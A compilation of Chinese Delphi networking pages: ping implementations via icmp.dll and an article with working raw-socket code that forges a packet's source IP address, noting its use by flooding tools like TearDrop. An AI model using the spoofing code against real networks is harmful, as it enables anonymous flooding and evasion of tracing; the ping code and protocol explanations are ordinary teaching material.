IP_ADDR_DELETED = (IP_STATUS_BASE + 19);

IP_SPEC_MTU_CHANGE = (IP_STATUS_BASE + 20);

IP_MTU_CHANGE = (IP_STATUS_BASE + 21);

IP_GENERAL_FAILURE = (IP_STATUS_BASE + 50);

MAX_IP_STATUS = IP_GENERAL_FAILURE;

IP_PENDING = (IP_STATUS_BASE + 255);

// IP header flags

IP_FLAG_DF = $02; // Don't fragment this packet.

// IP Option Types

IP_OPT_EOL = $00; // End of list option

IP_OPT_NOP = $01; // No operation

IP_OPT_SECURITY = $82; // Security option.

IP_OPT_LSRR = $83; // Loose source route.

IP_OPT_SSRR = $89; // Strict source route.

IP_OPT_RR = $07; // Record route.

IP_OPT_TS = $44; // Timestamp.

IP_OPT_SID = $88; // Stream ID (obsolete)

MAX_OPT_SIZE = $40;

type

// IP types

TIPAddr = DWORD; // An IP address.

TIPMask = DWORD; // An IP subnet mask.

TIPStatus = DWORD; // Status code returned from IP APIs.

PIPOptionInformation = ^TIPOptionInformation;

TIPOptionInformation = packed record

TTL: Byte; // Time To Live (used for traceroute)

TOS: Byte; // Type Of Service (usually 0)

Flags: Byte; // IP header flags (usually 0)

OptionsSize: Byte; // Size of options data (usually 0, max 40)

OptionsData: PChar; // Options data buffer

end;

PIcmpEchoReply = ^TIcmpEchoReply;

TIcmpEchoReply = packed record

Address: TIPAddr; // Replying address

Status: DWord; // IP status value

RTT: DWord; // Round Trip Time in milliseconds

DataSize: Word; // Reply data size

Reserved: Word; // Reserved

Data: Pointer; // Pointer to reply data buffer

Options: TIPOptionInformation; // Reply options

end;

// IcmpCreateFile:

// Opens a handle on which ICMP Echo Requests can be issued.

// Arguments:

// None.

// Return Value:

// An open file handle or INVALID_HANDLE_VALUE. Extended error information

// is available by calling GetLastError().

TIcmpCreateFile = function: THandle; stdcall;

// IcmpCloseHandle:

// Closes a handle opened by ICMPOpenFile.

// Arguments:

// IcmpHandle - The handle to close.

// Return Value:

// TRUE if the handle was closed successfully, otherwise FALSE. Extended

// error information is available by calling GetLastError().

TIcmpCloseHandle = function(IcmpHandle: THandle): Boolean; stdcall;

// IcmpSendEcho:

// Sends an ICMP Echo request and returns one or more replies. The

// call returns when the timeout has expired or the reply buffer

// is filled.

// Arguments:

// IcmpHandle - An open handle returned by ICMPCreateFile.

// DestinationAddress - The destination of the echo request.

// RequestData - A buffer containing the data to send in the

// request.

// RequestSize - The number of bytes in the request data buffer.

// RequestOptions - Pointer to the IP header options for the request.

// May be NULL.

// ReplyBuffer - A buffer to hold any replies to the request.

// On return, the buffer will contain an array of

// ICMP_ECHO_REPLY structures followed by options

// and data. The buffer should be large enough to

// hold at least one ICMP_ECHO_REPLY structure

// and 8 bytes of data - this is the size of

// an ICMP error message.

// ReplySize - The size in bytes of the reply buffer.

// Timeout - The time in milliseconds to wait for replies.

// Return Value:

// Returns the number of replies received and stored in ReplyBuffer. If

// the return value is zero, extended error information is available

// via GetLastError().

TIcmpSendEcho = function(IcmpHandle: THandle;

DestinationAddress: TIPAddr;

RequestData: Pointer;

RequestSize: Word;

RequestOptions: PIPOptionInformation;

ReplyBuffer: Pointer;

ReplySize: DWord;

Timeout: DWord

): DWord; stdcall;

// Event handler type declaration for TICMP.OnDisplay event.

TICMPDisplay = procedure(Sender: TObject; Msg : String) of object;

TICMPReply = procedure(Sender: TObject; Error : Integer) of object;

// The object wich encapsulate the ICMP.DLL

TICMP = class(TObject)

private

hICMPdll : HModule; // Handle for ICMP.DLL

IcmpCreateFile : TIcmpCreateFile;

IcmpCloseHandle : TIcmpCloseHandle;

IcmpSendEcho : TIcmpSendEcho;

hICMP : THandle; // Handle for the ICMP Calls

FReply : TIcmpEchoReply; // ICMP Echo reply buffer

FAddress : String; // Address given

FHostName : String; // Dotted IP of host (output)

FHostIP : String; // Name of host (Output)

FIPAddress : TIPAddr; // Address of host to contact

FSize : Integer; // Packet size (default to 56)

FTimeOut : Integer; // Timeout (default to 4000mS)

FTTL : Integer; // Time To Live (for send)

FOnDisplay : TICMPDisplay; // Event handler to display

FOnEchoRequest : TNotifyEvent;

FOnEchoReply : TICMPReply;

FLastError : DWORD; // After sending ICMP packet

FAddrResolved : Boolean;

procedure ResolveAddr;

public

constructor Create; virtual;

destructor Destroy; override;

function Ping : Integer;

procedure SetAddress(Value : String);

function GetErrorString : String;

property Address : String read FAddress write SetAddress;

property Size : Integer read FSize write FSize;

property Timeout : Integer read FTimeout write FTimeout;

property Reply : TIcmpEchoReply read FReply;

property TTL : Integer read FTTL write FTTL;

property ErrorCode : Integer read FLastError;

property ErrorString : String read GetErrorString;

property HostName : String read FHostName;

property HostIP : String read FHostIP;

property OnDisplay : TICMPDisplay read FOnDisplay write FOnDisplay;

property OnEchoRequest : TNotifyEvent read FOnEchoRequest

write FOnEchoRequest;

property OnEchoReply : TICMPReply read FOnEchoReply

write FOnEchoReply;

end;

TICMPException = class(Exception);

implementation

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

constructor TICMP.Create;

var

WSAData: TWSAData;

begin

hICMP := INVALID_HANDLE_VALUE;

FSize := 56;

FTTL := 64;

FTimeOut := 4000;

// initialise winsock

if WSAStartup($101, WSAData) <> 0 then

raise TICMPException.Create('Error initialising Winsock');

// register the icmp.dll stuff

hICMPdll := LoadLibrary(icmpDLL);

if hICMPdll = 0 then

raise TICMPException.Create('Unable to register ' + icmpDLL);

@ICMPCreateFile := GetProcAddress(hICMPdll, 'IcmpCreateFile');

@IcmpCloseHandle := GetProcAddress(hICMPdll, 'IcmpCloseHandle');

@IcmpSendEcho := GetProcAddress(hICMPdll, 'IcmpSendEcho');

if (@ICMPCreateFile = Nil) or

(@IcmpCloseHandle = Nil) or

(@IcmpSendEcho = Nil) then

raise TICMPException.Create('Error loading dll functions');

hICMP := IcmpCreateFile;

if hICMP = INVALID_HANDLE_VALUE then

raise TICMPException.Create('Unable to get ping handle');

end;

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

destructor TICMP.Destroy;

begin

if hICMP <> INVALID_HANDLE_VALUE then

IcmpCloseHandle(hICMP);

if hICMPdll <> 0 then

FreeLibrary(hICMPdll);

WSACleanup;

inherited Destroy;

end;

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

function MinInteger(X, Y: Integer): Integer;

begin

if X >= Y then

Result := Y

else

Result := X;

end;

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

procedure TICMP.ResolveAddr;

var

Phe : PHostEnt; // HostEntry buffer for name lookup

begin

// Convert host address to IP address

FIPAddress := inet_addr(PChar(FAddress));

if FIPAddress <> INADDR_NONE then

// Was a numeric dotted address let it in this format

FHostName := FAddress

else begin

// Not a numeric dotted address, try to resolve by name

Phe := GetHostByName(PChar(FAddress));

if Phe = nil then begin

FLastError := GetLastError;

if Assigned(FOnDisplay) then

FOnDisplay(Self, 'Unable to resolve ' + FAddress);

Exit;

end;

FIPAddress := longint(plongint(Phe^.h_addr_list^)^);

FHostName := Phe^.h_name;

end;

FHostIP := StrPas(inet_ntoa(TInAddr(FIPAddress)));

FAddrResolved := TRUE;

end;

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

procedure TICMP.SetAddress(Value : String);

begin

// Only change if needed (could take a long time)

if FAddress = Value then

Exit;

FAddress := Value;

FAddrResolved := FALSE;

// ResolveAddr;

end;

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

function TICMP.GetErrorString : String;

begin

case FLastError of

IP_SUCCESS: Result := 'No error';

IP_BUF_TOO_SMALL: Result := 'Buffer too small';

IP_DEST_NET_UNREACHABLE: Result := 'Destination network unreachable';

IP_DEST_HOST_UNREACHABLE: Result := 'Destination host unreachable';

IP_DEST_PROT_UNREACHABLE: Result := 'Destination protocol unreachable';

IP_DEST_PORT_UNREACHABLE: Result := 'Destination port unreachable';

IP_NO_RESOURCES: Result := 'No resources';

IP_BAD_OPTION: Result := 'Bad option';

IP_HW_ERROR: Result := 'Hardware error';

IP_PACKET_TOO_BIG: Result := 'Packet too big';

IP_REQ_TIMED_OUT: Result := 'Request timed out';

IP_BAD_REQ: Result := 'Bad request';

IP_BAD_ROUTE: Result := 'Bad route';

IP_TTL_EXPIRED_TRANSIT: Result := 'TTL expired in transit';

IP_TTL_EXPIRED_REASSEM: Result := 'TTL expired in reassembly';

IP_PARAM_PROBLEM: Result := 'Parameter problem';

IP_SOURCE_QUENCH: Result := 'Source quench';

IP_OPTION_TOO_BIG: Result := 'Option too big';

IP_BAD_DESTINATION: Result := 'Bad Destination';

IP_ADDR_DELETED: Result := 'Address deleted';

IP_SPEC_MTU_CHANGE: Result := 'Spec MTU change';

IP_MTU_CHANGE: Result := 'MTU change';

IP_GENERAL_FAILURE: Result := 'General failure';

IP_PENDING: Result := 'Pending';

else

Result := 'ICMP error #' + IntToStr(FLastError);

end;

end;

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

function TICMP.Ping : Integer;

var

BufferSize: Integer;

pReqData, pData: Pointer;

pIPE: PIcmpEchoReply; // ICMP Echo reply buffer

IPOpt: TIPOptionInformation; // IP Options for packet to send

Msg: String;

begin

Result := 0;

FLastError := 0;

if not FAddrResolved then

ResolveAddr;

if FIPAddress = INADDR_NONE then begin

FLastError := IP_BAD_DESTINATION;

if Assigned(FOnDisplay) then

FOnDisplay(Self, 'Invalid host address');

Exit;

end;

// Allocate space for data buffer space

BufferSize := SizeOf(TICMPEchoReply) + FSize;

GetMem(pReqData, FSize);

GetMem(pData, FSize);

GetMem(pIPE, BufferSize);

try

// Fill data buffer with some data bytes

FillChar(pReqData^, FSize, $20);

Msg := 'Pinging from Delphi code written by F. Piette';

Move(Msg[1], pReqData^, MinInteger(FSize, Length(Msg)));

pIPE^.Data := pData;

FillChar(pIPE^, SizeOf(pIPE^), 0);

if Assigned(FOnEchoRequest) then

FOnEchoRequest(Self);

FillChar(IPOpt, SizeOf(IPOpt), 0);

IPOpt.TTL := FTTL;

Result := IcmpSendEcho(hICMP, FIPAddress, pReqData, FSize,

@IPOpt, pIPE, BufferSize, FTimeOut);

FLastError := GetLastError;

FReply := pIPE^;

if Assigned(FOnEchoReply) then

FOnEchoReply(Self, Result);

finally

// Free those buffers

FreeMem(pIPE);

FreeMem(pData);

FreeMem(pReqData);

end;

end;

end.


IP地址的隐藏
http://lovejingtao2000.home.chinaren.com/hideip.htm

IP地址的隐藏

一、前言

   本文主要介绍如何在程序中实现IP地址的隐藏。其实这篇东西不算我写的。其中《IP头结构》部分我懒得打字，故复制、粘贴了孤独剑客的文章，先说声谢谢！代码部分参考了外国程序xes写的一个程序。所以这只是学习过程中的一个副产品。既然程序已经做好了，就顺便放上来跟大家一起交流，共同提高吧。本文只不过想说明一下IP数据的结构和发送机制。如果有人把它改为恶意IP攻击工具，后果自负。

二、IP头结构

我们知道，TCP/IP网络数据全部是通过封装在IP数据包中在Internet网上传送的，也就是封装建立起一个包含IP头和数据的IP数据报。一般来说，网络软件总是以多个32位字产生IP头，即使必须用附加的0填充IP头。IP头包含了传输IP数据包中封装数据的所有必要信息。IP头的数据结构和描述如下：

成员 长度(Bit) 描述

Version 4 IP头的版本号，目前是IPv4，最新是IPv6

Header Length 4 IP头的长度，若没有特殊选择，IP头总是20字节长

Type of Service 8 服务类型，定义了数据传输的优先级、延迟、吞吐量和可靠性等特性

Total Packet Length 16 IP包的长度，若没有特殊选项，一般为20字节长

Identification 16 IP包标识，主机使用它唯一确定每个发送的数据报

Flag 3 IP数据分割标志

Fragment Offset 13 IP数据分割偏移

Time to Live 8 数据报在网络上的存活时间，每通过一个路由器，该数值减一

Protocol 8 TCP/IP协议类型，比如：ICMP为1，IGMP为2，TCP为6，UDP为17等

Header Checksum 16 头部检验和

Source IP Address 32 源IP地址

Destination IP Address 32 目的IP地址

Other ? 其他选项

Data ? 数据

实现自己定义的IP头是一件非常有意义的事情，比如，通过改变IP头里的TOS的优先级和TTL，你可以使自己的数据包有更强的传输能力和寿命，通过修改IP头里的源IP地址就可以隐藏自己机器的IP地址等等。象著名攻击程序“泪滴TearDrop”就是通过故意制造系统不能处理的分片IP包而实现的，还有SYN Flooder和UDP Flooder就是通过产生随机源IP实现欺骗的。

三、实现原理

一般来说，自定义IP头是通过使用socket的库函数setsockopt()的选项IP_HDRINCL来实现的，尽管这在unix和linux平台上很容易实现，但遗憾的是在Windows平台的Winsock1.1和Winsock2.0函数库里setsockopt()不支持IP_HDRINCL选项，所以在Windows 9x/NT里是无法通过Winsock函数库来实现IP头自定义的，当然可以通过编写虚拟设备驱动程序来实现，不过比较复杂，但Windows 2000的出现打破了这种局面，Windows2000的Winsock2.2函数库里全面支持setsockopt()的选项IP_HDRINCL，使得我们轻松就可以实现自定义的IP头。实现方法如下：

四、代码部分

{

1. 本程序只能运行于 Window 2000.

2. 你必须有 Administrator 权限.

3. 程序需要用到一个 button 和一个 memo.

----------------------------------------------------------------------

运行程序前，请根据自己的需要改变 SrcIP、SrcPort、DestIP和DestPort的值

----------------------------------------------------------------------

如果你看不懂以下代码，最好不要去运行它。

----------------------------------------------------------------------

}

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, OleCtrls, Registry;

Const

SrcIP = '123.123.123.1';//发送方IP地址

SrcPort = 1234; //发送方端口

DestIP = '127.0.0.2'; //目的IP地址

DestPort = 4321; //目的端口

Max_Message = 4068;

Max_Packet = 4096;

type

TPacketBuffer = Array[0..Max_Packet-1] of byte;

TForm1 = class(TForm)

Button1: TButton;

Memo1: TMemo;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

procedure SendIt;

end;

// IP 头

type

T_IP_Header = record

ip_verlen : Byte;

ip_tos : Byte;

ip_totallength : Word;

ip_id : Word;

ip_offset : Word;

ip_ttl : Byte;

ip_protocol : Byte;

ip_checksum : Word;

ip_srcaddr : LongWord;

ip_destaddr : LongWord;

end;

// UDP 头

Type

T_UDP_Header = record

src_portno : Word;

dst_portno : Word;

udp_length : Word;

udp_checksum : Word;

end;

// 一些 Winsock 2 的类型声明

u_char = Char;

u_short = Word;

u_int = Integer;

u_long = Longint;

SunB = packed record

s_b1, s_b2, s_b3, s_b4: u_char;

end;

SunW = packed record

s_w1, s_w2: u_short;

end;

in_addr = record

case integer of

0: (S_un_b: SunB);

1: (S_un_w: SunW);

2: (S_addr: u_long);

end;

TInAddr = in_addr;

Sockaddr_in = record

case Integer of

0: (sin_family: u_short;

sin_port: u_short;

sin_addr: TInAddr;

sin_zero: array[0..7] of Char);

1: (sa_family: u_short;

sa_data: array[0..13] of Char)

end;

TSockAddr = Sockaddr_in;

TSocket = u_int;

const

WSADESCRIPTION_LEN = 256;

WSASYS_STATUS_LEN = 128;

type

PWSAData = ^TWSAData;

WSAData = record // WSDATA

wVersion: Word;

wHighVersion: Word;

szDescription: array[0..WSADESCRIPTION_LEN] of Char;

szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;

iMaxSockets: Word;

iMaxUdpDg: Word;

lpVendorInfo: PChar;

end;

TWSAData = WSAData;

//定义一些 winsock 2 函数

function closesocket(s: TSocket): Integer; stdcall;

function socket(af, Struct, protocol: Integer): TSocket; stdcall;

function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;

tolen: Integer): Integer; stdcall;{}

function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;

optlen: Integer): Integer; stdcall;

function inet_addr(cp: PChar): u_long; stdcall; {PInAddr;} { TInAddr }

function htons(hostshort: u_short): u_short; stdcall;

function WSAGetLastError: Integer; stdcall;

function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;

function WSACleanup: Integer; stdcall;

const

AF_INET = 2; // internetwork: UDP, TCP, etc.

IP_HDRINCL = 2; // IP Header Include

SOCK_RAW = 3; // raw-protocol interface

IPPROTO_IP = 0; // dummy for IP

IPPROTO_TCP = 6; // tcp

IPPROTO_UDP = 17; // user datagram protocol

IPPROTO_RAW = 255; // raw IP packet

INVALID_SOCKET = TSocket(NOT(0));

SOCKET_ERROR = -1;

var

Form1: TForm1;

implementation

// Import Winsock 2 functions

const WinSocket = 'WS2_32.DLL';

function closesocket; external winsocket name 'closesocket';

function socket; external winsocket name 'socket';

function sendto; external winsocket name 'sendto';

function setsockopt; external winsocket name 'setsockopt';

function inet_addr; external winsocket name 'inet_addr';

function htons; external winsocket name 'htons';

function WSAGetLastError; external winsocket name 'WSAGetLastError';

function WSAStartup; external winsocket name 'WSAStartup';

function WSACleanup; external winsocket name 'WSACleanup';

{$R *.DFM}

function CheckSum(Var Buffer; Size : integer) : Word;

type

TWordArray = Array[0..1] of Word;

var

ChkSum : LongWord;

i : Integer;

begin

ChkSum := 0;

i := 0;

While Size > 1 do begin

ChkSum := ChkSum + TWordArray(Buffer)[i];

inc(i);

Size := Size - SizeOf(Word);

end;

if Size=1 then ChkSum := ChkSum + Byte(TWordArray(Buffer)[i]);

ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF);

ChkSum := ChkSum + (Chksum shr 16);

Result := Word(ChkSum);

end;

procedure BuildHeaders(

FromIP : String;

iFromPort : Word;

ToIP : String;

iToPort : Word;

StrMessage : String;

Var Buf : TPacketBuffer;

Var remote : TSockAddr;

Var iTotalSize : Word

);

Var

dwFromIP : LongWord;

dwToIP : LongWord;

iIPVersion : Word;

iIPSize : Word;

ipHdr : T_IP_Header;

udpHdr : T_UDP_Header;

iUdpSize : Word;

iUdpChecksumSize : Word;

cksum : Word;

Ptr : ^Byte;

procedure IncPtr(Value : Integer);

begin

ptr := pointer(integer(ptr) + Value);

end;

begin

// Convert ip address'ss

dwFromIP := inet_Addr(PChar(FromIP));

dwToIP := inet_Addr(PChar(ToIP));

// 初始化 IP 头

//

iTotalSize := sizeof(ipHdr) + sizeof(udpHdr) + length(strMessage);

iIPVersion := 4;

iIPSize := sizeof(ipHdr) div sizeof(LongWord);

ipHdr.ip_verlen := (iIPVersion shl 4) or iIPSize;

ipHdr.ip_tos := 0; // IP type of service

ipHdr.ip_totallength := htons(iTotalSize); // Total packet len

ipHdr.ip_id := 0; // Unique identifier: set to 0

ipHdr.ip_offset := 0; // Fragment offset field

ipHdr.ip_ttl := 128; // Time to live

ipHdr.ip_protocol := $11; // Protocol(UDP)

ipHdr.ip_checksum := 0 ; // IP checksum

ipHdr.ip_srcaddr := dwFromIP; // Source address

ipHdr.ip_destaddr := dwToIP; // Destination address

//

// 初始化 UDP 头

//

iUdpSize := sizeof(udpHdr) + length(strMessage);

udpHdr.src_portno := htons(iFromPort) ;

udpHdr.dst_portno := htons(iToPort) ;

udpHdr.udp_length := htons(iUdpSize) ;

udpHdr.udp_checksum := 0 ;

iUdpChecksumSize := 0;

ptr := @buf[0];

FillChar(Buf, SizeOf(Buf), 0);

Move(ipHdr.ip_srcaddr, ptr^, SizeOf(ipHdr.ip_srcaddr));

IncPtr(SizeOf(ipHdr.ip_srcaddr));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_srcaddr);

Move(ipHdr.ip_destaddr, ptr^, SizeOf(ipHdr.ip_destaddr));

IncPtr(SizeOf(ipHdr.ip_destaddr));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_destaddr);

IncPtr(1);

Inc(iUdpChecksumSize);

Move(ipHdr.ip_protocol, ptr^, sizeof(ipHdr.ip_protocol));

IncPtr(sizeof(ipHdr.ip_protocol));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_protocol);

Move(udpHdr.udp_length, ptr^, sizeof(udpHdr.udp_length));

IncPtr(sizeof(udpHdr.udp_length));

iUdpChecksumSize := iUdpChecksumSize + sizeof(udpHdr.udp_length);

move(udpHdr, ptr^, sizeof(udpHdr));

IncPtr(sizeof(udpHdr));

iUdpChecksumSize := iUdpCheckSumSize + sizeof(udpHdr);

Move(StrMessage[1], ptr^, Length(strMessage));

IncPtr(Length(StrMessage));

iUdpChecksumSize := iUdpChecksumSize + length(strMessage);

cksum := checksum(buf, iUdpChecksumSize);

udpHdr.udp_checksum := cksum;

//

// 现在 IP 和 UDP 头OK了，我们可以把它发送出去。

//

FillChar(Buf, SizeOf(Buf), 0);

Ptr := @Buf[0];

Move(ipHdr, ptr^, SizeOf(ipHdr)); IncPtr(SizeOf(ipHdr));

Move(udpHdr, ptr^, SizeOf(udpHdr)); IncPtr(SizeOf(udpHdr));

Move(StrMessage[1], ptr^, length(StrMessage));

remote.sin_family := AF_INET;

remote.sin_port := htons(iToPort);

remote.sin_addr.s_addr := dwToIP;

end;

procedure TForm1.SendIt;

Var

sh : TSocket;

bOpt : Integer;

ret : Integer;

Buf : TPacketBuffer;

Remote : TSockAddr;

Local : TSockAddr;

iTotalSize : Word;

wsdata : TWSAdata;

begin

// Startup Winsock 2

ret := WSAStartup($0002, wsdata);

if ret<>0 then begin

memo1.lines.add('WSA Startup failed.');

exit;

end;

with memo1.lines do begin

add('WSA Startup:');

add('Desc.: '+wsData.szDescription);

add('Status: '+wsData.szSystemStatus);

end;

try

// Create socket

sh := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

if (sh = INVALID_SOCKET) then begin

memo1.lines.add('Socket() failed: '+IntToStr(WSAGetLastError));

exit;

end;

Memo1.lines.add('Socket Handle = '+IntToStr(sh));

// Option: Header Include

bOpt := 1;

ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt));

if ret = SOCKET_ERROR then begin

Memo1.lines.add('setsockopt(IP_HDRINCL) failed: '+IntToStr(WSAGetLastError));

exit;

end;

// Build the packet

BuildHeaders( SrcIP, SrcPort,

DestIP, DestPort,

'THIS IS A TEST PACKET',

Buf, Remote, iTotalSize );

// Send the packet

ret := SendTo(sh, buf, iTotalSize, 0, Remote, SizeOf(Remote));

if ret = SOCKET_ERROR then

Memo1.Lines.Add('sendto() failed: '+IntToStr(WSAGetLastError))

else

Memo1.Lines.Add('send '+IntToStr(ret)+' bytes.');

// Close socket

CloseSocket(sh);

finally

// Close Winsock 2

WSACleanup;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

SendIt;

end;

end.


Delphi编程实现Ping操作
Delphi编程实现Ping操作

    张泰立

    使用过网络的用户都熟悉“Ping”这个指令，它是一个DOS下的可执行文件，一般用它来检查网络连接的好坏程度。其基本原理是利用TCP/IP协议包中ICMP协议中的一个功能，即向所指定的计算机发送一个请求，收到请求的计算机返回一个应答，借此来判断该计算机是否在网上运行或者检查网络连接是否稳定可靠。在Ping程序执行过程中，双方计算机所耗费的资源都很少，因此，它是一个非常实用的工具。

    我们可以通过编程来实现“Ping”操作，对其加以改进，使之具有Windows的界面风格，显示比DOS更加直观。

    首先，对编程中需要的动态链接库作一简要说明：在Windows的System目录下，你可以找到Icmp.dll文件，该动态链接库提供了ICMP协议的所有功能，我们的编程就建立在对该动态链接库的调用上。

    Icmp.dll文件内的调用函数说明如下：

    1、IcmpCreateFile

    打开一个句柄，通过该句柄你可以发送ICMP的请求回送报文。

    2、IcmpCloseHandle

    关闭你通过IcmpCreateFile函数打开的句柄。

    3、IcmpSendEcho

    通过你打开的句柄发送ICMP请求，在超时或应答报文接收后返回。其参数基本上和它的帧结构一致，可参看下面的程序部分，其具体含意你可以参看有关ICMP协议的书籍。

    初步了解了上述的三个函数后，我们就可以开始编程了。

    首先，我们的程序运行后应该有如图1所示的基本功能。为此，我们可先在Delphi的窗口中放入右上图中所示的控件，如按钮、编辑框和文本显示框等。

    （G72.JPG）

    例程运行示意图

    然后，在程序的开始部分（FormCreate）对WinSocket进行初始化，其作用是申明使用的版本信息，同时调入Icmp.dll库。

    type

     PIPOptionInformation = ^TIPOptionInformation;

     TIPOptionInformation = packed record

     TTL: Byte;

     TOS: Byte;

     Flags: Byte;

     OptionsSize: Byte;

     OptionsData: PChar;

     end;

     PIcmpEchoReply = ^TIcmpEchoReply;

     TIcmpEchoReply = packed record

     Address: DWORD;

     Status: DWORD;

     RTT: DWORD;

     DataSize: Word;

     Reserved: Word;

     Data: Pointer;

     Options: TIPOptionInformation;

     end;

     TIcmpCreateFile = function: THandle; stdcall;

     TIcmpCloseHandle = function(IcmpHandle: THandle): Boolean; stdcall;

     TIcmpSendEcho = function(IcmpHandle:THandle;

     DestinationAddress: DWORD;

     RequestData: Pointer;

     RequestSize: Word;

     RequestOptions: PIPOptionInformation;

     ReplyBuffer: Pointer;

     ReplySize: DWord;

     Timeout: DWord

     ): DWord; stdcall;

     TMyPing = class(TForm)

     Panel1: TPanel;

     Label1: TLabel;

     PingEdit: TEdit;

     ExeBtn: TButton;

     Button2: TButton;

     Button3: TButton;

     StatusShow: TMemo;

     procedure Button3Click(Sender: TObject);

     procedure FormCreate(Sender: TObject);

     procedure ExeBtnClick(Sender: TObject);

     private

     { Private declarations }

     hICMP: THANDLE;

     IcmpCreateFile : TIcmpCreateFile;

     IcmpCloseHandle: TIcmpCloseHandle;

     IcmpSendEcho: TIcmpSendEcho;

     public

     { Public declarations }

    end;

    procedure TMyPing.FormCreate(Sender: TObject);

    var

     WSAData: TWSAData;

     hICMPdll: HMODULE;

    begin

     WSAStartup($101, WSAData);

     // Load the icmp.dll stuff

     hICMPdll := LoadLibrary('icmp.dll');

     @ICMPCreateFile := GetProcAddress(hICMPdll, 'IcmpCreateFile');

     @IcmpCloseHandle := GetProcAddress(hICMPdll, 'IcmpCloseHandle');

     @IcmpSendEcho := GetProcAddress(hICMPdll, 'IcmpSendEcho');

     hICMP := IcmpCreateFile;

     StatusShow.Text := '';

     StatusShow.Lines.Add('目的IP地址 字节数 返回时间(毫秒)');

    end;

    接下来，就要进行如下所示的Ping操作的实际编程过程了。

    procedure TMyPing.ExeBtnClick(Sender: TObject);

    var

     IPOpt:TIPOptionInformation;// IP Options for packet to send

     FIPAddress:DWORD;

     pReqData,pRevData:PChar;

     pIPE:PIcmpEchoReply;// ICMP Echo reply buffer

     FSize: DWORD;

     MyString:string;

     FTimeOut:DWORD;

     BufferSize:DWORD;

    begin

     if PingEdit.Text <> '' then

     begin

     FIPAddress := inet_addr(PChar(PingEdit.Text));

     FSize := 40;

     BufferSize := SizeOf(TICMPEchoReply) + FSize;

     GetMem(pRevData,FSize);

     GetMem(pIPE,BufferSize);

     FillChar(pIPE^, SizeOf(pIPE^), 0);

     pIPE^.Data := pRevData;

     MyString := 'Hello,World';

     pReqData := PChar(MyString);

     FillChar(IPOpt, Sizeof(IPOpt), 0);

     IPOpt.TTL := 64;

     FTimeOut := 4000;

     IcmpSendEcho(hICMP, FIPAddress, pReqData, Length(MyString), @IPOpt, pIPE, BufferSize, FTimeOut);

     if pReqData^ = pIPE^.Options.OptionsData^ then

     begin

     StatusShow.Lines.Add(PChar(PingEdit.Text) + ' ' +IntToStr(pIPE^.DataSize) + ' ' +IntToStr(pIPE^.RTT));

     end;

     FreeMem(pRevData);

     FreeMem(pIPE);

     end

    end;

    通过上面的编程，我们就实现了Ping功能的界面操作。实际上，ICMP协议的功能还有很多，都可以通过对Icmp.dll的函数调用来实现。


Ping程序
  回复人：guoyuzhang(怒抛头颅)　(2001-3-19 19:01:00) 得0分

ping程序

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Winsock,

StdCtrls;

type

PIPOptionInformation = ^TIPOptionInformation;

TIPOptionInformation = packed record

TTL: Byte;

TOS: Byte;

Flags: Byte;

OptionsSize: Byte;

OptionsData: PChar;

end;

PIcmpEchoReply = ^TIcmpEchoReply;

TIcmpEchoReply = packed record

Address: DWORD;

Status: DWORD;

RTT: DWORD;

DataSize: Word;

Reserved: Word;

Data: Pointer;

Options: TIPOptionInformation;

end;

TIcmpCreateFile = function: THandle; stdcall;

TIcmpCloseHandle = function(IcmpHandle: THandle): Boolean; stdcall;

TIcmpSendEcho = function(IcmpHandle:THandle;

DestinationAddress: DWORD;

RequestData: Pointer;

RequestSize: Word;

RequestOptions: PIPOptionInformation;

ReplyBuffer: Pointer;

ReplySize: DWord;

Timeout: DWord

): DWord; stdcall;

TForm1 = class(TForm)

Memo1: TMemo;

Button1: TButton;

PingEdit: TEdit;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

hICMP: THANDLE;

IcmpCreateFile : TIcmpCreateFile;

IcmpCloseHandle: TIcmpCloseHandle;

IcmpSendEcho: TIcmpSendEcho;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

var

hICMPdll: HMODULE;

begin

hICMPdll := LoadLibrary('icmp.dll');

@ICMPCreateFile := GetProcAddress(hICMPdll, 'IcmpCreateFile');

@IcmpCloseHandle := GetProcAddress(hICMPdll,'IcmpCloseHandle');

@IcmpSendEcho := GetProcAddress(hICMPdll, 'IcmpSendEcho');

hICMP := IcmpCreateFile;

Memo1.Text := '';

Memo1.Lines.Add('目的IP地址 字节数 返回时间(毫秒)');

end;

procedure TForm1.Button1Click(Sender: TObject);

var

IPOpt:TIPOptionInformation;// IP Options for packet to send

FIPAddress:DWORD;

pReqData,pRevData:PChar;

pIPE:PIcmpEchoReply;// ICMP Echo reply buffer

FSize: DWORD;

MyString:string;

FTimeOut:DWORD;

BufferSize:DWORD;

begin

if PingEdit.Text <> '' then

begin

FIPAddress := inet_addr(PChar(PingEdit.Text));

FSize := 40;

BufferSize := SizeOf(TICMPEchoReply) + FSize;

GetMem(pRevData,FSize);

GetMem(pIPE,BufferSize);

FillChar(pIPE^, SizeOf(pIPE^), 0);

pIPE^.Data := pRevData;

MyString := 'Hello,World';

